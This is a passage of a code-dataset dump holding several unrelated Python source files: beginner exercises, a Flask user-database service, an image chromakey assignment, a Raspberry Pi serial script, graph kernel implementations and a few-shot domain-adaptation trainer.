\"))\n\ndirection = start_direction + turn_right\nprint(f\"You are facing {directions[direction % len(directions)]}.\") #uses modulus to minus 4 (the length of the list) at every chance, to loop back to beginning of the list\n\n\n#counter = count + 1 is same as counter += 1\n\n#rotate.py\nfrom time import sleep\ndirections = ['up', 'right', 'down', 'left']\nfacing = 0\nwhile True:\n print(directions[facing % 4]) #or, % len[directions]\n facing += 1 #facing = facing + 1\n sleep(.2) #slows down how fast the computer runs the code","repo_name":"PdxCodeGuild/class_mudpuppy","sub_path":"Assignments/Brea/Class Examples/turn_right_test.py","file_name":"turn_right_test.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"41221881206","text":"from flask import (abort, \n jsonify, \n make_response)\nfrom datetime import datetime\nfrom .app import app\nfrom db.models import db, User\nfrom config import error_number, Routes\n\n\n@app.route(Routes.route_def, methods=['GET'])\ndef make_basic_values() -> None:\n return 'Hello World'\n\n@app.route(Routes.route_id, methods=['GET'])\ndef get_user_id(id) -> str:\n \"\"\"\n Function which is dedicated to develop the \n Input: id = id which is going to be searched\n Output: datetime value of its creation\n \"\"\"\n if not id.isdigit():\n return abort(error_number)\n value_return = User.query.filter_by(id=id).first()\n if value_return:\n return f'Your datetime: {value_return.date};'\n return abort(error_number)\n \n@app.route(Routes.route_user_ins, methods=['GET', 'POST'])\ndef make_basic_insert() -> str:\n \"\"\"\n Function for basic insertion to the values\n Input: None\n Output: we created new values\n \"\"\"\n value_date = datetime.now()\n db.session.add(User(date=value_date))\n db.session.commit()\n return f'We inserted user at time: {value_date}'\n\n@app.route(Routes.route_user_ret, methods=['GET', 'POST'])\ndef check_user() -> dict:\n \"\"\"\n Function which is dedicated to show all users \n which are presented within the database\n Input: None\n Output: json value of the created value\n \"\"\"\n return make_response(\n jsonify(\n {k.id: k.date \n for k in User.query.all()\n }), \n 200)","repo_name":"kungfu-kenny/TestDocker","sub_path":"webservice/web/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23552543582","text":"# Taiwo John\r\n# Challenge 3 - Background Substitution.\r\nfrom aluLib import *\r\n\r\n# Defining Variables\r\n# Asking the user to input the names of the image files they want to modify and replace with\r\nfore_img = str(input('Please enter the name of the front/fore image:\\n'))\r\ninitial_background = str(input('Please enter the name of the initial background image:\\n'))\r\ndesired_background = str(input('Please enter the name of the desired background image:\\n'))\r\n\r\n# Loading the input files and storing them in variables using the load_image function.\r\nfront_img = load_image(fore_img)\r\ninit_back_img = load_image(initial_background)\r\nsecond_back_img = load_image(desired_background)\r\n\r\n# Defining height and with variables\r\nwindow_width = 1200\r\nwidth = front_img.width()\r\nheight = front_img.height()\r\n\r\n\r\n# The chromakey function\r\ndef chromakey():\r\n # Creating a copy of the front image.\r\n new_image = front_img.copy()\r\n # Looping through all the coordinates of the fore/front image and the desired background image to store their pixels\r\n for pos_x in range(width):\r\n for pos_y in range(height):\r\n fore_pi = front_img.get_pixel(pos_x, pos_y)\r\n back_pi = second_back_img.get_pixel(pos_x, pos_y)\r\n # Checking to see if the pixel of the front/fore image is 'green' enough and then replacing it with\r\n # the pixel of the desired background image.\r\n if fore_pi[0] < fore_pi[1] > fore_pi[2]:\r\n new_image.set_pixel(pos_x, pos_y, back_pi[0], back_pi[1], back_pi[2])\r\n # Drawing the image, saving it, and also, drawing a text to indicate that it is chromakey function.\r\n draw_text('Chroma Key', width + 20, 150)\r\n new_image.save('output_chroma.jpg')\r\n draw_image(new_image, 0, 0)\r\n\r\n\r\n# The background Substitution function\r\ndef background_sub():\r\n # Importing the python math function as it will be used in this function.\r\n import math\r\n # Creating a copy of the front image\r\n new_image = front_img.copy()\r\n # Looping through the coordinates of the fore/front image, the initial background image and the desired background\r\n # image to store their pixels.\r\n for pos_x in range(width):\r\n for pos_y in range(height):\r\n fore_pi = front_img.get_pixel(pos_x, pos_y)\r\n back_1_pi = init_back_img.get_pixel(pos_x, pos_y)\r\n back_2_pi = second_back_img.get_pixel(pos_x, pos_y)\r\n # Computing the distance between the pixels of the fore image and the initial background image\r\n distance = math.sqrt(pow((fore_pi[0] - back_1_pi[0]), 2) + pow((fore_pi[1] - back_1_pi[1]), 2) + pow((fore_pi[0] - back_1_pi[0]), 2))\r\n # Checking to see if the distance between the pixels of the fore image and the initial background image are\r\n # close enough. (Here, I used 0.5 as the benchmark for a 'close enough' distance.\r\n # If the distance between the pixels are close enough, it means they are from the initial background and\r\n # they are replaced with the new background image pixels.\r\n if distance < 0.5:\r\n new_image.set_pixel(pos_x, pos_y, back_2_pi[0], back_2_pi[1], back_2_pi[2])\r\n # Drawing the image, saving it, and also, drawing a text to indicate that it is the Background Substitution function\r\n new_image.save('output_bgsub.jpg')\r\n draw_text('Background_Substitution', 2 * width + 200, 150)\r\n draw_image(new_image, width + 150, 0)\r\n\r\n\r\n# Defining a main function in which both functions will be called.\r\ndef main():\r\n chromakey()\r\n background_sub()\r\n\r\n\r\n# Calling the start_graphics function to draw the images at a rate of 50 times per second.\r\nstart_graphics(main, framerate=50, width=window_width, height=height)","repo_name":"Taiwo-John/Python-Projects","sub_path":"challenge-3-bgsub-Taiwo-John/challenge3.py","file_name":"challenge3.py","file_ext":"py","file_size_in_byte":3761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33361394546","text":"import serial\nimport wiringpi as wiringpi\n\nwiringpi.wiringPiSetup();\nwiringpi.pinMode(4, 0)\nwiringpi.pinMode(0, 1)\n\narduino = serial.Serial(\"/dev/ttyACM0\", baudrate=9600,timeout=3.0)\n\nwhile True:\n sensor_nivel = arduino.readline()\n sensor = wiringpi.digitalRead(4)\n if (sensor == 0):\n wiringpi.digitalWrite(0,1)\n else:\n wiringpi.digitalWrite(0,0)\n \n print(sensor_nivel)\n \narduino.close()","repo_name":"Migueloun/embebidos","sub_path":"pruebas/serial_sensor_vaso.py","file_name":"serial_sensor_vaso.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22785175346","text":"from __future__ import print_function\n\nimport copy\nfrom collections import defaultdict\n\nimport networkx as nx\nimport numpy as np\nfrom scipy.sparse import lil_matrix\nfrom scipy.sparse.linalg import eigs\n\nfrom timer import Timer\n\n\ndef sp_kernel(g1, g2=None):\n with Timer(\"SP kernel\"):\n if g2 is not None:\n graphs = []\n for g in g1:\n graphs.append(g)\n for g in g2:\n graphs.append(g)\n else:\n graphs = g1\n\n sp_lengths = []\n\n for graph in graphs:\n sp_lengths.append(nx.shortest_path_length(graph))\n\n N = len(graphs)\n all_paths = {}\n sp_counts = {}\n for i in range(N):\n sp_counts[i] = {}\n nodes = graphs[i].nodes()\n for v1 in nodes:\n for v2 in nodes:\n if v2 in sp_lengths[i][v1]:\n label = tuple(\n sorted([graphs[i].node[v1]['label'], graphs[i].node[v2]['label']]) + [\n sp_lengths[i][v1][v2]])\n if label in sp_counts[i]:\n sp_counts[i][label] += 1\n else:\n sp_counts[i][label] = 1\n\n if label not in all_paths:\n all_paths[label] = len(all_paths)\n\n phi = lil_matrix((N, len(all_paths)))\n\n for i in range(N):\n for label in sp_counts[i]:\n phi[i, all_paths[label]] = sp_counts[i][label]\n\n if g2 is not None:\n K = np.dot(phi[:len(g1), :], phi[len(g1):, :].T)\n else:\n K = np.dot(phi, phi.T)\n\n return K.todense()\n\n\ndef graphlet_kernel(g1, g2=None):\n with Timer(\"Graphlet Kernel\"):\n if g2 is not None:\n graphs = []\n for g in g1:\n graphs.append(g)\n for g in g2:\n graphs.append(g)\n else:\n graphs = g1\n\n N = len(graphs)\n\n graphlet_counts = []\n graphlets = {}\n\n ind = 0\n for i in range(len(graphs)):\n d = {}\n for node1 in graphs[i].nodes():\n for node2 in graphs[i].neighbors(node1):\n for node3 in graphs[i].neighbors(node2):\n if node1 != node3:\n if node3 not in graphs[i].neighbors(node1):\n graphlet = (1, min(graphs[i].node[node1]['label'], graphs[i].node[node3]['label']),\n graphs[i].node[node2]['label'],\n max(graphs[i].node[node1]['label'], graphs[i].node[node3]['label']))\n if graphlet not in graphlets:\n graphlets[graphlet] = len(graphlets)\n if graphlets[graphlet] in d:\n d[graphlets[graphlet]] += 1.0 / 2.0\n else:\n d[graphlets[graphlet]] = 1.0 / 2.0\n else:\n labs = sorted([graphs[i].node[node1]['label'], graphs[i].node[node2]['label'],\n graphs[i].node[node3]['label']])\n graphlet = (2, labs[0], labs[1], labs[2])\n if graphlet not in graphlets:\n graphlets[graphlet] = len(graphlets)\n if graphlets[graphlet] in d:\n d[graphlets[graphlet]] += 1.0 / 6.0\n else:\n d[graphlets[graphlet]] = 1.0 / 6.0\n\n graphlet_counts.append(d)\n\n phi = lil_matrix((N, len(graphlets)))\n for i in range(len(graphs)):\n for graphlet in graphlet_counts[i]:\n phi[i, graphlet] = graphlet_counts[i][graphlet]\n\n if g2 is not None:\n K = np.dot(phi[:len(g1), :], phi[len(g1):, :].T)\n else:\n K = np.dot(phi, phi.T)\n\n K = np.asarray(K.todense())\n return K\n\n\n# Compute Weisfeiler-Lehman subtree kernel\ndef wl_kernel(g1, g2=None, h=6):\n with Timer(\"WL Kernel\"):\n if g2 is not None:\n graphs = []\n for g in g1:\n graphs.append(g)\n for g in g2:\n graphs.append(g)\n else:\n graphs = g1\n\n labels = {}\n label_lookup = {}\n label_counter = 0\n\n N = len(graphs)\n\n orig_graph_map = {it: {i: defaultdict(lambda: 0) for i in range(N)} for it in range(-1, h)}\n\n # initial labeling\n ind = 0\n for G in graphs:\n labels[ind] = np.zeros(G.number_of_nodes(), dtype=np.int32)\n node2index = {}\n for node in G.nodes():\n node2index[node] = len(node2index)\n\n for node in G.nodes():\n label = G.node[node]['label']\n if label not in label_lookup:\n label_lookup[label] = len(label_lookup)\n\n labels[ind][node2index[node]] = label_lookup[label]\n orig_graph_map[-1][ind][label] = orig_graph_map[-1][ind].get(label, 0) + 1\n\n ind += 1\n\n compressed_labels = copy.deepcopy(labels)\n\n # WL iterations\n for it in range(h):\n unique_labels_per_h = set()\n label_lookup = {}\n ind = 0\n for G in graphs:\n node2index = {}\n for node in G.nodes():\n node2index[node] = len(node2index)\n\n for node in G.nodes():\n node_label = tuple([labels[ind][node2index[node]]])\n neighbors = G.neighbors(node)\n if len(neighbors) > 0:\n neighbors_label = tuple([labels[ind][node2index[neigh]] for neigh in neighbors])\n node_label = str(node_label) + \"-\" + str(sorted(neighbors_label))\n if not node_label in label_lookup:\n label_lookup[node_label] = len(label_lookup)\n\n compressed_labels[ind][node2index[node]] = label_lookup[node_label]\n orig_graph_map[it][ind][node_label] = orig_graph_map[it][ind].get(node_label, 0) + 1\n\n ind += 1\n\n print(\"Number of compressed labels at iteration %s: %s\" % (it, len(label_lookup)))\n labels = copy.deepcopy(compressed_labels)\n\n if g2 is not None:\n K = np.zeros((len(g1), len(g2)))\n for it in range(-1, h):\n for i in range(len(g1)):\n for j in range(len(g2)):\n common_keys = set(orig_graph_map[it][i].keys()) & set(orig_graph_map[it][len(g1) + j].keys())\n K[i][j] += sum(\n [orig_graph_map[it][i].get(k, 0) * orig_graph_map[it][len(g1) + j].get(k, 0) for k in\n common_keys])\n else:\n K = np.zeros((N, N))\n for it in range(-1, h):\n for i in range(N):\n for j in range(N):\n common_keys = set(orig_graph_map[it][i].keys()) & set(orig_graph_map[it][j].keys())\n K[i][j] += sum(\n [orig_graph_map[it][i].get(k, 0) * orig_graph_map[it][j].get(k, 0) for k in common_keys])\n\n return K\n\n\n# Compute Pyramid Match kernel\ndef pm_kernel(g1, g2=None, L=4, d=6):\n with Timer(\"Pyramid Match Kernel\"):\n if g2 is not None:\n graphs = []\n for g in g1:\n graphs.append(g)\n for g in g2:\n graphs.append(g)\n else:\n graphs = g1\n\n N = len(graphs)\n\n labels = {}\n\n for G in graphs:\n for node in G.nodes():\n if G.node[node][\"label\"] not in labels:\n labels[G.node[node][\"label\"]] = len(labels)\n\n num_labels = len(labels)\n\n Us = []\n for G in graphs:\n n = G.number_of_nodes()\n if n == 0:\n Us.append(np.zeros((1, d)))\n else:\n A = nx.adjacency_matrix(G).astype(float)\n if n > d + 1:\n Lambda, U = eigs(A, k=d, ncv=10 * d)\n idx = Lambda.argsort()[::-1]\n U = U[:, idx]\n else:\n Lambda, U = np.linalg.eig(A.todense())\n idx = Lambda.argsort()[::-1]\n U = U[:, idx]\n U = U[:, :d]\n U = np.absolute(U)\n Us.append(U)\n\n Hs = {}\n for i in range(N):\n G = graphs[i]\n nodes = G.nodes()\n Hs[i] = []\n for j in range(L):\n l = 2 ** j\n D = np.zeros((d * num_labels, l))\n T = np.floor(Us[i] * l)\n T[np.where(T == l)] = l - 1\n for p in range(Us[i].shape[0]):\n if p >= len(nodes):\n continue\n for q in range(Us[i].shape[1]):\n D[labels[G.node[nodes[p]]['label']] * d + q, int(T[p, q])] = D[labels[G.node[nodes[p]][\n 'label']] * d + q, int(T[p, q])] + 1\n\n Hs[i].append(D)\n\n if g2 is not None:\n K = np.zeros((len(g1), len(g2)))\n\n for i in range(len(g1)):\n for j in range(len(g2)):\n k = 0\n intersec = np.zeros(L)\n for p in range(L):\n intersec[p] = np.sum(np.minimum(Hs[i][p], Hs[len(g1) + j][p]))\n\n k = k + intersec[L - 1]\n for p in range(L - 1):\n k += (1.0 / (2 ** (L - p - 1))) * (intersec[p] - intersec[p + 1])\n\n K[i, j] = k\n else:\n K = np.zeros((N, N))\n\n for i in range(N):\n for j in range(i, N):\n k = 0\n intersec = np.zeros(L)\n for p in range(L):\n intersec[p] = np.sum(np.minimum(Hs[i][p], Hs[j][p]))\n\n k = k + intersec[L - 1]\n for p in range(L - 1):\n k += (1.0 / (2 ** (L - p - 1))) * (intersec[p] - intersec[p + 1])\n\n K[i, j] = k\n K[j, i] = K[i, j]\n\n return K\n","repo_name":"DimitrisCC/TextAsGraphClassification","sub_path":"graph_kernels_labeled.py","file_name":"graph_kernels_labeled.py","file_ext":"py","file_size_in_byte":10580,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"40450908446","text":"import os\nimport os.path as osp\nimport json\nimport random\nimport copy\nimport numpy as np\n\nimport torch\nfrom torch.nn import functional as F\n\nfrom dassl.utils import set_random_seed\nfrom dassl.data.data_manager import build_data_loader\nfrom dassl.data.datasets import build_dataset\nfrom dassl.data.transforms import build_transform\nfrom dassl.engine import TRAINER_REGISTRY\nfrom dassl.evaluation import build_evaluator\nfrom dassl.utils import load_checkpoint\nfrom dassl.engine.dg import Vanilla\nimport trainers.lccs_utils.lccs_svd as optms\n\nclass AbstractLCCS(Vanilla):\n \"\"\"Abstract class for LCCS trainer.\n \"\"\"\n\n def __init__(self, cfg, batch_size=32, ksupport=1, init_epochs=10, grad_update_epochs=10, classifier_update_epochs=200,\n user_support_coeff_init=None, classifier_type='linear', finetune_classifier=False, svd_dim=1):\n \"\"\"\n Args:\n cfg: configurations\n batch_size: batch size\n ksupport: number of support samples per class\n init_epochs: number of epochs in initialization stage\n grad_update_epochs: number of epochs in gradient update stage\n user_support_coeff_init: user-specified value for support LLCS parameter\n classifier_type: type of classifier\n finetune_classifier: updates classifier by gradient descent if True\n svd_dim: number of support statistics basis vectors\n \"\"\"\n super().__init__(cfg)\n\n self.cfg = cfg\n self.batch_size = batch_size\n self.ksupport = ksupport\n self.init_epochs = init_epochs\n self.grad_update_epochs = grad_update_epochs\n self.classifier_update_epochs = classifier_update_epochs\n self.user_support_coeff_init = user_support_coeff_init\n self.classifier_type = classifier_type\n self.finetune_classifier = finetune_classifier\n self.svd_dim = svd_dim\n self.eps = 1e-5\n\n self.evaluator = build_evaluator(cfg, lab2cname=self.dm.lab2cname)\n\n def load_model_nostrict(self, directory, epoch=None):\n \"\"\"Non-strict loading of model state dict, since LCCS parameters added.\n \"\"\"\n names = self.get_model_names()\n model_file = 'model.pth.tar-' + str(\n epoch\n ) if epoch else 'model-best.pth.tar'\n\n for name in names:\n model_path = osp.join(directory, name, model_file)\n\n if not osp.exists(model_path):\n raise FileNotFoundError(\n 'Model not found at \"{}\"'.format(model_path)\n )\n\n checkpoint = load_checkpoint(model_path)\n state_dict = checkpoint['state_dict']\n epoch = checkpoint['epoch']\n\n print(\n 'Loading weights to {} '\n 'from \"{}\" (epoch = {})'.format(name, model_path, epoch)\n )\n self._models[name].load_state_dict(state_dict, strict=False)\n\n def get_ksupport_loaders(self):\n \"\"\"Obtain support set.\n \"\"\"\n torch.backends.cudnn.deterministic = True\n random.seed(0)\n torch.manual_seed(0)\n torch.cuda.manual_seed(0)\n\n # val and test loader with sample shuffling\n # follows dassl.data.data_manager\n dataset = build_dataset(self.cfg)\n tfm_train = build_transform(self.cfg, is_train=True)\n tfm_test = build_transform(self.cfg, is_train=False)\n\n # extract support samples\n np.random.seed(self.cfg.SEED)\n n = len(dataset.test)\n self.num_classes = dataset._num_classes\n support_idx = []\n for i in range(dataset._num_classes):\n idx_i = [j for j in range(n) if dataset.test[j]._label == i]\n support_idx += list(np.random.choice(idx_i, self.ksupport, replace=False))\n dataset.ksupport = [dataset.test[i] for i in support_idx]\n dataset.eval = [dataset.test[i] for i in range(n) if i not in support_idx]\n\n # support set for finetuning\n self.support_loader_train_transform = build_data_loader(\n self.cfg,\n sampler_type='RandomSampler',\n data_source=dataset.ksupport,\n batch_size=min(self.batch_size, self.ksupport*dataset._num_classes),\n tfm=tfm_train,\n is_train=True,\n dataset_wrapper=None\n )\n self.support_loader_test_transform = build_data_loader(\n self.cfg,\n sampler_type='RandomSampler',\n data_source=dataset.ksupport,\n batch_size=dataset._num_classes*self.ksupport,\n tfm=tfm_test,\n is_train=False,\n dataset_wrapper=None\n )\n # evaluation set\n self.eval_loader = build_data_loader(\n self.cfg,\n sampler_type='RandomSampler',\n data_source=dataset.eval,\n batch_size=self.batch_size,\n tfm=tfm_test,\n is_train=False,\n dataset_wrapper=None\n )\n\n def initialization_stage(self):\n \"\"\"Initialization stage.\n\n Find initialization for source and support LCCS parameters.\n \"\"\"\n self.model = self.model.to(torch.double)\n self.model.backbone.compute_source_stats()\n self.model.backbone.set_svd_dim(self.svd_dim)\n self.model.backbone.set_lccs_use_stats_status('initialization_stage')\n self.set_model_mode('eval')\n candidates_init = np.arange(0, 1.1, 0.1)\n\n if self.user_support_coeff_init is None:\n cross_entropy = {}\n with torch.no_grad():\n for i in candidates_init:\n print(f'initialization of support LCCS param: {i}')\n self.model.backbone.set_coeff(i, 1. - i)\n set_random_seed(self.cfg.SEED)\n cross_entropy_list = []\n # iterate through support set for init_epochs\n len_support_loader_train_transform = len(self.support_loader_train_transform)\n for j in range(self.init_epochs):\n support_loader_train_transform_iter = iter(self.support_loader_train_transform)\n for iterate in range(len_support_loader_train_transform):\n if (j == 0) and (iterate == 0):\n self.model.backbone.set_lccs_update_stats_status('initialize_support')\n else:\n self.model.backbone.set_lccs_update_stats_status('update_support_by_momentum')\n batch = next(support_loader_train_transform_iter)\n input, label = self.parse_batch_train(batch)\n input, label = input.to(torch.double), label.to(torch.double)\n output = self.model(input)\n\n # evaluate on support set\n self.model.backbone.set_lccs_update_stats_status('no_update')\n len_support_loader_test_transform = len(self.support_loader_test_transform)\n support_loader_train_transform_iter = iter(self.support_loader_test_transform)\n for iterate in range(len_support_loader_test_transform):\n batch = next(support_loader_train_transform_iter)\n input, label = self.parse_batch_test(batch)\n input, label = input.to(torch.double), label.to(torch.double)\n output = self.model(input)\n # cross-entropy, lower the better\n ce_i = F.cross_entropy(output, label.long())\n cross_entropy_list.append(float(ce_i))\n # consolidate cross-entropy\n cross_entropy[i] = np.mean(cross_entropy_list)\n\n ce_init = [cross_entropy[i] for i in candidates_init]\n print(f'candidate values: {candidates_init}')\n print(f'cross-entropy: {ce_init}')\n # pick candidate initalization with lowest cross entropy\n user_support_coeff_init = max([v for i, v in enumerate(candidates_init) if ce_init[i] == min(ce_init)])\n print(f'selected initialization of support LCCS param: {user_support_coeff_init}')\n else:\n user_support_coeff_init = self.user_support_coeff_init\n\n # iterate through support set for init_epochs to initialize model with selected initialization of LCCS parameters\n self.model.backbone.set_coeff(user_support_coeff_init, 1. - user_support_coeff_init)\n set_random_seed(self.cfg.SEED)\n with torch.no_grad():\n support_loader_train_transform_iter = iter(self.support_loader_test_transform)\n self.model.backbone.set_lccs_update_stats_status('compute_support_svd')\n batch = next(support_loader_train_transform_iter)\n input, label = self.parse_batch_train(batch)\n input, label = input.to(torch.double), label.to(torch.double)\n output = self.model(input)\n\n # initialize LCCS parameters as leanable\n self.model.backbone.initialize_trainable(support_coeff_init=user_support_coeff_init, source_coeff_init=1. - user_support_coeff_init)\n\n def gradient_update_stage(self):\n \"\"\"Gradient update stage.\n\n Update trainable parameters.\n \"\"\"\n print(\"### Finetuning LCCS params ###\")\n self.model_optms = optms.configure_model(self.model, component='LCCS').cuda()\n params, param_names = optms.collect_params(self.model_optms, component='LCCS')\n optimizer = torch.optim.Adam(params,\n lr=1e-3,\n betas=(0.9, 0.999),\n weight_decay=0)\n self.model_optms.backbone.set_lccs_use_stats_status('gradient_update_stage')\n self.model_optms.backbone.set_lccs_update_stats_status('no_update')\n self.model_optms = self.train(self.model_optms, optimizer, self.support_loader_train_transform, self.support_loader_test_transform,\n grad_update_epochs=self.grad_update_epochs, num_classes=self.num_classes, classifier_type='linear',\n initialize_centroid=(self.classifier_type == 'mean_centroid'))\n\n if self.finetune_classifier:\n print(\"### Finetuning classifier ###\")\n self.model_optms = optms.configure_model(self.model_optms, component='classifier')\n params, param_names = optms.collect_params(self.model_optms, component='classifier')\n optimizer = torch.optim.Adam(params, \n lr=1e-3,\n betas=(0.9, 0.999),\n weight_decay=0)\n self.model_optms = self.train(self.model_optms, optimizer, self.support_loader_train_transform, self.support_loader_test_transform,\n grad_update_epochs=self.classifier_update_epochs, num_classes=self.num_classes, classifier_type=self.classifier_type)\n\n def train(self, model_optms, optimizer, support_loader_train_transform, support_loader_test_transform, grad_update_epochs, num_classes,\n classifier_type='linear', initialize_centroid=False):\n \"\"\"Model finetuning.\n \"\"\"\n len_support_loader_train_transform = len(self.support_loader_train_transform)\n for epoch in range(grad_update_epochs):\n support_loader_train_transform_iter = iter(self.support_loader_train_transform)\n for iterate in range(len_support_loader_train_transform):\n batch = next(support_loader_train_transform_iter)\n input, label = self.parse_batch_test(batch)\n input, label = input.to(torch.double), label.to(torch.double)\n # order by label\n idx = np.argsort(label.cpu())\n input = input[idx]\n label = label[idx]\n\n if classifier_type == 'linear':\n output = model_optms(input)\n loss = F.cross_entropy(output, label.long())\n elif classifier_type == 'mean_centroid':\n feat = model_optms.backbone(input)\n\n uniqlabel = np.unique(label.cpu().numpy())\n # form cluster centroids\n newlabel = copy.deepcopy(label)\n L = len(uniqlabel)\n centroid_list = []\n for i in range(L):\n cluster_i = feat[label == uniqlabel[i]]\n centroid_i = cluster_i.mean(dim=0)\n centroid_list.append(centroid_i)\n # relabel classes to remove missing classes in minibatch\n newlabel[newlabel == uniqlabel[i]] = i\n centroid = torch.stack(centroid_list).detach()\n # obtain probability by cosine similarity\n cossim = F.cosine_similarity(feat.unsqueeze(1), centroid, dim=-1)\n # cross-entropy\n newlabel = torch.tensor(newlabel, dtype=label.dtype).cuda() \n loss = F.cross_entropy(cossim, newlabel.long())\n\n loss.backward()\n optimizer.step()\n optimizer.zero_grad()\n\n print(f'Epoch {epoch} Iteration {iterate}: loss {loss.item()}')\n\n # save centroids at end of finetuning \n if initialize_centroid:\n model_optms.backbone.set_lccs_use_stats_status('evaluation_stage')\n model_optms.backbone.set_lccs_update_stats_status('no_update')\n with torch.no_grad():\n cluster_dict = {i: [] for i in range(num_classes)}\n support_loader_train_transform_iter = iter(self.support_loader_test_transform)\n batch = next(support_loader_train_transform_iter)\n input, label = self.parse_batch_test(batch)\n input, label = input.to(torch.double), label.to(torch.double)\n feat = model_optms.backbone(input)\n\n # collect features per class\n for i in range(num_classes):\n cluster_i = feat[label == i]\n cluster_dict[i].append(cluster_i)\n\n # form cluster centroids\n centroid_list = []\n for i in range(num_classes):\n cluster_i = cluster_dict[i]\n centroid_i = torch.cat(cluster_i).mean(dim=0)\n centroid_list.append(centroid_i)\n model_optms.centroid = torch.stack(centroid_list)\n\n return model_optms\n\n @torch.no_grad()\n def test(self):\n \"\"\"Evaluation.\n \"\"\"\n\n self.evaluator.reset()\n self.model_optms = self.model_optms.to(torch.float)\n self.model_optms.backbone.set_lccs_use_stats_status('evaluation_stage')\n self.model_optms.backbone.set_lccs_update_stats_status('no_update') \n\n split = self.cfg.TEST.SPLIT\n print('Do evaluation on {} set'.format(split))\n data_loader = self.eval_loader\n\n for batch_idx, batch in enumerate(data_loader):\n input, label = self.parse_batch_test(batch)\n if self.classifier_type == 'linear':\n output = self.model_optms(input)\n elif self.classifier_type == 'mean_centroid':\n feat = self.model_optms.backbone(input) # n x C\n output = F.cosine_similarity(feat.unsqueeze(1), self.model_optms.centroid, dim=-1)\n self.evaluator.process(output, label)\n\n results = self.evaluator.evaluate()\n\n # save results\n for k, v in results.items():\n tag = '{}/{}'.format(split, k + '_lccs')\n self.write_scalar(tag, v)\n\n self.save_path = os.path.join(self.output_dir, 'results.jsonl')\n with open(self.save_path, 'a') as f:\n f.write(json.dumps(results, sort_keys=True) + \"\\n\")\n\n# define trainers\n\n\n# source classifier\n@TRAINER_REGISTRY.register()\nclass LCCSk1n7(AbstractLCCS):\n def __init__(self, cfg):\n super().__init__(cfg, batch_size=32, ksupport=1, init_epochs=10, grad_update_epochs=10, svd_dim=7)\n@TRAINER_REGISTRY.register()\nclass LCCSk5n35(AbstractLCCS):\n def __init__(self, cfg):\n super().__init__(cfg, batch_size=32, ksupport=5, init_epochs=10, grad_update_epochs=10, svd_dim=35)\n@TRAINER_REGISTRY.register()\nclass LCCSk10n70(AbstractLCCS):\n def __init__(self, cfg):\n super().__init__(cfg, batch_size=32, ksupport=10, init_epochs=10, grad_update_epochs=10, svd_dim=70)\n\n# mean centroid classifier\n@TRAINER_REGISTRY.register()\nclass LCCSCentroidk1n7(AbstractLCCS):\n def __init__(self, cfg):\n super().__init__(cfg, batch_size=32, ksupport=1, init_epochs=10, grad_update_epochs=10, svd_dim=7, classifier_type='mean_centroid')\n@TRAINER_REGISTRY.register()\nclass LCCSCentroidk5n35(AbstractLCCS):\n def __init__(self, cfg):\n super().__init__(cfg, batch_size=32, ksupport=5, init_epochs=10, grad_update_epochs=10, svd_dim=35, classifier_type='mean_centroid')\n@TRAINER_REGISTRY.register()\nclass LCCSCentroidk10n70(AbstractLCCS):\n def __init__(self, cfg):\n super().__init__(cfg, batch_size=32, ksupport=10, init_epochs=10, grad_update_epochs=10, svd_dim=70, classifier_type='mean_centroid')\n\n# linear layer classifier\n@TRAINER_REGISTRY.register()\nclass LCCSLineark5n155(AbstractLCCS):\n def __init__(self, cfg):\n super().__init__(cfg, batch_size=32, ksupport=5, init_epochs=10, grad_update_epochs=10, svd_dim=155, finetune_classifier=True)\n@TRAINER_REGISTRY.register()\nclass LCCSLineark5n325(AbstractLCCS):\n def __init__(self, cfg):\n super().__init__(cfg, batch_size=32, ksupport=5, init_epochs=10, grad_update_epochs=10, svd_dim=325, finetune_classifier=True)","repo_name":"zwenyu/lccs","sub_path":"imcls/trainers/lccs.py","file_name":"lccs.py","file_ext":"py","file_size_in_byte":17662,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"23295920271","text":"from extensions.interactions import base\n\n\nclass GraphInput(base.BaseInteraction):\n \"\"\"Interaction for evaluating graphs.\"\"\"\n\n name = '几何图形'\n description = '允许创建多种几何图形'\n display_mode = base.DISPLAY_MODE_SUPPLEMENTAL\n is_trainable = False\n _dependency_ids = []\n answer_type = 'Graph'\n instructions = '创建几何图形'\n narrow_instructions = 'View graph'\n needs_summary = True\n\n _customization_arg_specs = [{\n 'name': 'graph',\n 'description': '初始图形',\n 'schema': {\n 'type': 'custom',\n 'obj_type': 'Graph',\n },\n 'default_value': {\n 'vertices': [{\n 'x': 150.0,\n 'y': 50.0,\n 'label': '',\n }, {\n 'x': 200.0,\n 'y': 50.0,\n 'label': '',\n }, {\n 'x': 150.0,\n 'y': 100.0,\n 'label': '',\n }],\n 'edges': [{\n 'src': 0,\n 'dst': 1,\n 'weight': 1,\n }, {\n 'src': 1,\n 'dst': 2,\n 'weight': 1,\n }],\n 'isLabeled': False,\n 'isDirected': False,\n 'isWeighted': False,\n }\n }, {\n 'name': 'canAddVertex',\n 'description': '允许添加点',\n 'schema': {\n 'type': 'bool',\n },\n 'default_value': False\n }, {\n 'name': 'canDeleteVertex',\n 'description': '允许删除点',\n 'schema': {\n 'type': 'bool',\n },\n 'default_value': False\n }, {\n 'name': 'canMoveVertex',\n 'description': '允许移动点',\n 'schema': {\n 'type': 'bool',\n },\n 'default_value': True\n }, {\n 'name': 'canEditVertexLabel',\n 'description': '允许编辑节点标签',\n 'schema': {\n 'type': 'bool',\n },\n 'default_value': False\n }, {\n 'name': 'canAddEdge',\n 'description': '允许添加线',\n 'schema': {\n 'type': 'bool',\n },\n 'default_value': True\n }, {\n 'name': 'canDeleteEdge',\n 'description': '允许删除线',\n 'schema': {\n 'type': 'bool',\n },\n 'default_value': True\n }, {\n 'name': 'canEditEdgeWeight',\n 'description': '允许编辑线权重',\n 'schema': {\n 'type': 'bool',\n },\n 'default_value': False\n 